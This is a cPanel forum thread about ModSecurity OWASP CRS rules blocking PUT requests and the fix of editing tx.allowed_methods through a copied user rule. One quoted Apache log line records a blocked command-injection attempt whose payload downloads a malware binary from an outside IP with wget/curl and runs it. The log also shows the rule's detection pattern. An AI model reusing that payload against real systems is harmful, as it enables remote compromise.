ModSecurity update causing 403 Forbidden for PUT requests to server, requires editing tx.allowed_methods

Operating System & Version
CentOS 7.9
cPanel & WHM Version
92.0.5

Nick Fenwick

Member
Sep 28, 2018
17
3
3
Bangkok
cPanel Access Level
Root Administrator
Hi all, this may be nothing but I wanted to post my experience this morning with our website suddenly refusing PUT requests. This morning I visited the WHM interface and got an upgrade popup saying that new ModSecurity rules would be installed (my memory is not perfect but it definitely informed me of a change), which I accepted.

Our REST API supports the usual GET, POST, PUT, DELETE etc HTTP verbs and this morning our staff found that a PUT request was being rejected. The browser got a 403 Forbidden response. Looking into the logs in /var/log/apache2/error_log I saw things like this:

Code:
[Tue Dec 15 07:47:24.900788 2020] [:error] [pid 23593] [client 1.2.3.4:37090] [client 1.2.3.4] ModSecurity: Warning. Match of "within %{tx.allowed_methods}" against "REQUEST_METHOD" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-911-METHOD-ENFORCEMENT.conf"] [line "43"] [id "911100"] [msg "Method is not allowed by policy"] [data "PUT"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272/220/274"] [tag "PCI/12.1"] [hostname "our.hostname.com"] [uri "/our_rest_api/thing/foo/bar/"] [unique_id "X9hqDLE8XboxX7bDSJdE5wAAAD4"], referer: https://our.hostname.com/path/to/file.php
This was completely new to me and I had to do some emergency googling and digging.

I went to the WHM interface and found ModSecurity Configuration -> Rules Engine which was set to "Process the rules", I changed this to "Process the rules in verbose mode, but do not execute disruptive actions." but this did not resolve the issue.

Since the error_log mentioned tx.allowed_methods, I ran "find /etc -name \*.conf | xargs grep 'tx.allowed_methods'" and found this file:

conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-901-INITIALIZATION.conf

Which contained this:

# Default HTTP policy: allowed_methods (rule 900200)
SecRule &TX:allowed_methods "@eq 0" \
"id:901160,\
phase:1,\
pass,\
nolog,\
ver:'OWASP_CRS/3.3.0',\
setvar:'tx.allowed_methods=GET HEAD POST OPTIONS'"

This appears to deny PUT and DELETE (and other) verbs. I edited this file to add "PUT DELETE", restarted the server, and our staff can now operate normally.

The timestamp on that file was 12 November 2020, more than 1 month ago. I don't know cpanel/whm well enough to know how to trace when or how it was installed/updated.

Hopefully this might help others :) Please feed back if there's anything about the above that's not correct.

Nick
 
Last edited:

cPRex

Jurassic Moderator
Staff member
Oct 19, 2014
2,977
376
213
cPanel Access Level
Root Administrator
I went through and checked cPanel versions going back to 76, which was moved to the Release tier around November 2018, and found that same configuration line is in place in all of them for rule 900200, so I don't believe there has been a recent update that has changed that behavior, at least on the cPanel side of things. Is it possible your application may have experienced an update that changed this?
 

Nick Fenwick

Member
Sep 28, 2018
17
3
3
Bangkok
cPanel Access Level
Root Administrator
Thanks for checking @cPRex .. I'm the sole developer on our system and am sure that we've been using PUT requests reliably up until the change yesterday. I'm not familiar with mod_security, I know the name of course but have always ignored it, and haven't made any changes that I'm aware of, so it's perfectly possible that it was simply disabled on our server (so the config was there to deny the requests, but it simply wasn't being used) and has become enabled somehow. The only change I can think of was me accepting the change notification when logging onto WHM that morning. I see mod_security2 is one of the Enabled modules in EasyApache4 and am certain I haven't changed any settings in there since the server was first stood up around July.

/var/log/apache2/error_log has logs going back to July, and searching for OWASP from the top shows Dec 15 as the first entry immediately after a server restart:

Code:
[Mon Dec 14 21:39:15.069158 2020] [proxy_fcgi:error] [pid 28617] [client 20.62.192.48:59127] AH01071: Got error 'Primary script unknown'
[Mon Dec 14 21:54:33.733337 2020] [proxy_fcgi:error] [pid 29778] [client 20.62.192.48:54293] AH01071: Got error 'Primary script unknown'
[Tue Dec 15 01:38:17.251809 2020] [mpm_prefork:notice] [pid 10312] AH00171: Graceful restart requested, doing restart
[Tue Dec 15 01:38:17.346374 2020] [mpm_prefork:notice] [pid 10312] AH00163: Apache/2.4.46 (cPanel) OpenSSL/1.1.1h mod_bwlimited/1.4 configured -- resuming normal operations
[Tue Dec 15 01:38:17.346388 2020] [core:notice] [pid 10312] AH00094: Command line: '/usr/sbin/httpd'
[Tue Dec 15 01:48:42.449190 2020] [mpm_prefork:notice] [pid 10312] AH00171: Graceful restart requested, doing restart
[Tue Dec 15 01:48:42.542689 2020] [mpm_prefork:notice] [pid 10312] AH00163: Apache/2.4.46 (cPanel) OpenSSL/1.1.1h mod_bwlimited/1.4 configured -- resuming normal operations
[Tue Dec 15 01:48:42.542705 2020] [core:notice] [pid 10312] AH00094: Command line: '/usr/sbin/httpd'
[Tue Dec 15 01:48:51.273610 2020] [mpm_prefork:notice] [pid 10312] AH00171: Graceful restart requested, doing restart
[Tue Dec 15 01:48:51.374170 2020] [mpm_prefork:notice] [pid 10312] AH00163: Apache/2.4.46 (cPanel) OpenSSL/1.1.1h mod_bwlimited/1.4 configured -- resuming normal operations
[Tue Dec 15 01:48:51.374190 2020] [core:notice] [pid 10312] AH00094: Command line: '/usr/sbin/httpd'
[Tue Dec 15 01:49:21.472635 2020] [mpm_prefork:notice] [pid 10312] AH00169: caught SIGTERM, shutting down
[Tue Dec 15 01:49:21.965658 2020] [core:notice] [pid 18737] SELinux policy enabled; httpd running as context system_u:system_r:unconfined_service_t:s0
[Tue Dec 15 01:49:21.968657 2020] [:notice] [pid 18737] ModSecurity for Apache/2.9.3 (http://www.modsecurity.org/) configured.
[Tue Dec 15 01:49:21.968667 2020] [:notice] [pid 18737] ModSecurity: APR compiled version="1.7.0"; loaded version="1.7.0"
[Tue Dec 15 01:49:21.968670 2020] [:notice] [pid 18737] ModSecurity: PCRE compiled version="8.32 "; loaded version="8.32 2012-11-30"
[Tue Dec 15 01:49:21.968672 2020] [:notice] [pid 18737] ModSecurity: LUA compiled version="Lua 5.1"
[Tue Dec 15 01:49:21.968673 2020] [:notice] [pid 18737] ModSecurity: YAJL compiled version="2.0.4"
[Tue Dec 15 01:49:21.968675 2020] [:notice] [pid 18737] ModSecurity: LIBXML compiled version="2.9.7"
[Tue Dec 15 01:49:21.968677 2020] [:notice] [pid 18737] ModSecurity: Status engine is currently disabled, enable it by set SecStatusEngine to On.
[Tue Dec 15 01:49:22.014702 2020] [mpm_prefork:notice] [pid 18740] AH00163: Apache/2.4.46 (cPanel) OpenSSL/1.1.1h mod_bwlimited/1.4 configured -- resuming normal operations
[Tue Dec 15 01:49:22.014742 2020] [core:notice] [pid 18740] AH00094: Command line: '/usr/sbin/httpd'
[Tue Dec 15 01:52:32.566990 2020] [:error] [pid 19778] [client 115.28.208.35:57083] [client 115.28.208.35] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "127.0.0.1:8080"] [severity "WARNING"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "127.0.0.1"] [uri "/cgi-bin/kerbynet"] [unique_id "X9gW4CYZWk8j-A4pFpxTNAAAAB8"]
[Tue Dec 15 01:52:32.568020 2020] [:error] [pid 19778] [client 115.28.208.35:57083] [client 115.28.208.35] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:x509type. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "122"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;curl found within ARGS:x509type: '\\x0a/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=\\x22wget http://107.174.133.119/bins/keksec.x86 -O /tmp/.keksec.x86;curl http://107.174.133.119/bins/keksec.x86 -O /tmp/.keksec.x86; chmod 777 /tmp/.keksec.x86; /tmp/.keksec.x86\\x22\\x0a'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [hostname "127.0.0.1"] [uri "/cgi-bin/kerbynet"] [unique_id "X9gW4CYZWk8j-A4pFpxTNAAAAB8"]
As the first occurance of the string 'OWASP' since the server was first installed, this seems to be when it was enabled. The mention of SecStatusEngine seems to be unrelated .. now, searching back to the previous mention of ModSecurity revealed this 5 days before:

Code:
[Thu Dec 10 01:38:18.083819 2020] [mpm_prefork:notice] [pid 9823] AH00169: caught SIGTERM, shutting down
[Thu Dec 10 01:38:18.587157 2020] [core:notice] [pid 10309] SELinux policy enabled; httpd running as context system_u:system_r:unconfined_service_t:s0
[Thu Dec 10 01:38:18.591673 2020] [:notice] [pid 10309] ModSecurity for Apache/2.9.3 (http://www.modsecurity.org/) configured.
[Thu Dec 10 01:38:18.591680 2020] [:notice] [pid 10309] ModSecurity: APR compiled version="1.7.0"; loaded version="1.7.0"
[Thu Dec 10 01:38:18.591684 2020] [:notice] [pid 10309] ModSecurity: PCRE compiled version="8.32 "; loaded version="8.32 2012-11-30"
[Thu Dec 10 01:38:18.591686 2020] [:notice] [pid 10309] ModSecurity: LUA compiled version="Lua 5.1"
[Thu Dec 10 01:38:18.591687 2020] [:notice] [pid 10309] ModSecurity: YAJL compiled version="2.0.4"
[Thu Dec 10 01:38:18.591688 2020] [:notice] [pid 10309] ModSecurity: LIBXML compiled version="2.9.7"
[Thu Dec 10 01:38:18.591690 2020] [:notice] [pid 10309] ModSecurity: Status engine is currently disabled, enable it by set SecStatusEngine to On.
[Thu Dec 10 01:38:18.609086 2020] [mpm_prefork:notice] [pid 10312] AH00163: Apache/2.4.46 (cPanel) OpenSSL/1.1.1h mod_bwlimited/1.4 configured -- resuming normal 
operations
I don't see anything different in the logged versions etc, yet this restart 5 days before did not have the OWASP stuff being logged, and the 15th Dec restart does. Something in the config seems to have changed and I'm 99% sure it wasn't me.

Is there anything else you would suggest I check?
 

Nick Fenwick

Member
Sep 28, 2018
17
3
3
Bangkok
cPanel Access Level
Root Administrator
I should have thought of this before .. checking /var/log/yum.log shows a modsec package being installed on the day in question:

Code:
# grep modsec yum.log
Dec 15 01:48:40 Installed: ea-modsec2-rules-owasp-crs-3.3.0-4.4.2.cpanel.x86_64
I'm not sure what has brought this package in. No other packages seem to depend on it. I had installed ImageMagick just a few minutes before, here is the last section of yum.log:

Code:
Dec 10 01:38:15 Updated: ea-profiles-cpanel-1.0-50.50.1.cpanel.x86_64
Dec 10 01:38:15 Updated: ea-cpanel-tools-1.0-39.39.1.cpanel.x86_64
Dec 10 01:38:15 Updated: ea-apache24-mod_suphp-0.7.2-27.27.4.cpanel.x86_64
Dec 10 01:38:15 Updated: ea-apache24-mod_bwlimited-1.4-47.49.25.cpanel.x86_64
Dec 15 01:43:45 Installed: libwebp7-1.0.3-1.el7.remi.x86_64
Dec 15 01:43:45 Installed: libXfixes-devel-5.0.3-1.el7.x86_64
Dec 15 01:43:45 Installed: libraqm-0.7.0-4.el7.x86_64
Dec 15 01:43:45 Installed: gl-manpages-1.1-7.20130122.el7.noarch
Dec 15 01:43:45 Installed: fftw-libs-double-3.3.3-8.el7.x86_64
Dec 15 01:43:45 Installed: libXdamage-devel-1.1.4-4.1.el7.x86_64
Dec 15 01:43:45 Installed: libwebp7-devel-1.0.3-1.el7.remi.x86_64
Dec 15 01:43:45 Installed: openjpeg2-tools-2.3.1-3.el7_7.x86_64
Dec 15 01:43:45 Installed: openjpeg2-devel-2.3.1-3.el7_7.x86_64
Dec 15 01:43:45 Installed: jbigkit-devel-2.0-11.el7.x86_64
Dec 15 01:43:45 Installed: mesa-libGLU-9.0.0-4.el7.x86_64
Dec 15 01:43:45 Installed: 1:libglvnd-core-devel-1.0.1-0.8.git5baa1e5.el7.x86_64
Dec 15 01:43:45 Installed: LibRaw-0.19.4-1.el7.x86_64
Dec 15 01:43:45 Installed: 1:libglvnd-gles-1.0.1-0.8.git5baa1e5.el7.x86_64
Dec 15 01:43:45 Installed: libdrm-devel-2.4.97-2.el7.x86_64
Dec 15 01:43:45 Installed: 1:libglvnd-opengl-1.0.1-0.8.git5baa1e5.el7.x86_64
Dec 15 01:43:45 Installed: 1:libglvnd-devel-1.0.1-0.8.git5baa1e5.el7.x86_64
Dec 15 01:43:45 Installed: libXxf86vm-devel-1.1.4-1.el7.x86_64
Dec 15 01:43:46 Installed: gtk2-2.24.31-1.el7.x86_64
Dec 15 01:43:46 Installed: mesa-khr-devel-18.3.4-12.el7_9.x86_64
Dec 15 01:43:46 Installed: mesa-libGL-devel-18.3.4-12.el7_9.x86_64
Dec 15 01:43:46 Installed: mesa-libGLU-devel-9.0.0-4.el7.x86_64
Dec 15 01:43:46 Installed: ilmbase-devel-1.0.3-7.el7.x86_64
Dec 15 01:43:46 Installed: OpenEXR-devel-1.7.1-8.el7.x86_64
Dec 15 01:43:46 Installed: lcms2-devel-2.6-3.el7.x86_64
Dec 15 01:43:46 Installed: libXaw-1.0.13-4.el7.x86_64
Dec 15 01:43:46 Installed: graphviz-2.30.1-22.el7.x86_64
Dec 15 01:43:46 Installed: ImageMagick-libs-6.9.11.48-1.el7.remi.x86_64
Dec 15 01:43:46 Updated: ImageMagick-6.9.11.48-1.el7.remi.x86_64
Dec 15 01:43:47 Updated: ImageMagick-devel-6.9.11.48-1.el7.remi.x86_64
Dec 15 01:48:40 Installed: ea-modsec2-rules-owasp-crs-3.3.0-4.4.2.cpanel.x86_64
So, since some package updates 5 days before, suddenly today this modsec2 rules packages comes out of nowhere, and presumably starts to apply those rules on our server where no rules were in place before.

Nothing seems to depend on this package:
Code:
# rpm -q --whatrequires  ea-modsec2-rules-owasp-crs-3.3.0-4.4.2.cpanel.x86_64
no package requires ea-modsec2-rules-owasp-crs-3.3.0-4.4.2.cpanel.x86_64
I'm aware there is some kind of daily rpm update command run on a cPanel server but don't know much about it.
 

cPRex

Jurassic Moderator
Staff member
Oct 19, 2014
2,977
376
213
cPanel Access Level
Root Administrator
The nightly cPanel update does check for operating system packages as well, but to enable that package specifically, something would have had to be clicked. It was likely the Feature Showcase tool you mentioned seeing during one of the WHM logins, but you're free to remove the ModSecurity tool from WHM >> ModSecurity Vendors if you don't want that in place.
 

Nick Fenwick

Member
Sep 28, 2018
17
3
3
Bangkok
cPanel Access Level
Root Administrator
Thanks again @cPRex .. from the look of Security Center -> ModSecurity Tools, the OWASP rules are blocking a lot of nasty hack attempts, so I guess they're doing a good job. I've found that editing the vendor rules is not allowed, but Editing ModSecurity vendor rules talks about a good method for copying and editing rules. The exact steps seem to have changed since then so:

- Go to Home -> Security Center -> ModSecurity Tools
- click on Rules List button at the top right
- find, or search, for your rule, in my case searching for "allowed_methods" brought up the one I want
- click the Copy button to the right of the rule
- make any changes you need and click Save, select "Deploy and Restart Apache" for immediate effect

This has created a new file, /etc/apache2/conf.d/modsec/modsec2.user.conf which contains my copied rule. I hope this would persist the rule change, even if the vendor OWASP package is reinstalled and my changes there are lost.

I guess that closes the issue for me, and I hope it helps others :)
 
  • Like
Reactions: cPRex

wsherwood

Registered
May 21, 2010
4
0
51
On one of our servers for about a dozen accounts that use WP, we've had to whitelist about a dozen OWASP rule IDs each in those accounts:
932100
932105
932115
932130
933210
934100
941100
941160
941180
950130
953120
932110
i hope this list helps others, it's been several support tickets each day for one or more on this list.
we use the configserv interface which makes it very easy to manage in their WHM plugin UI.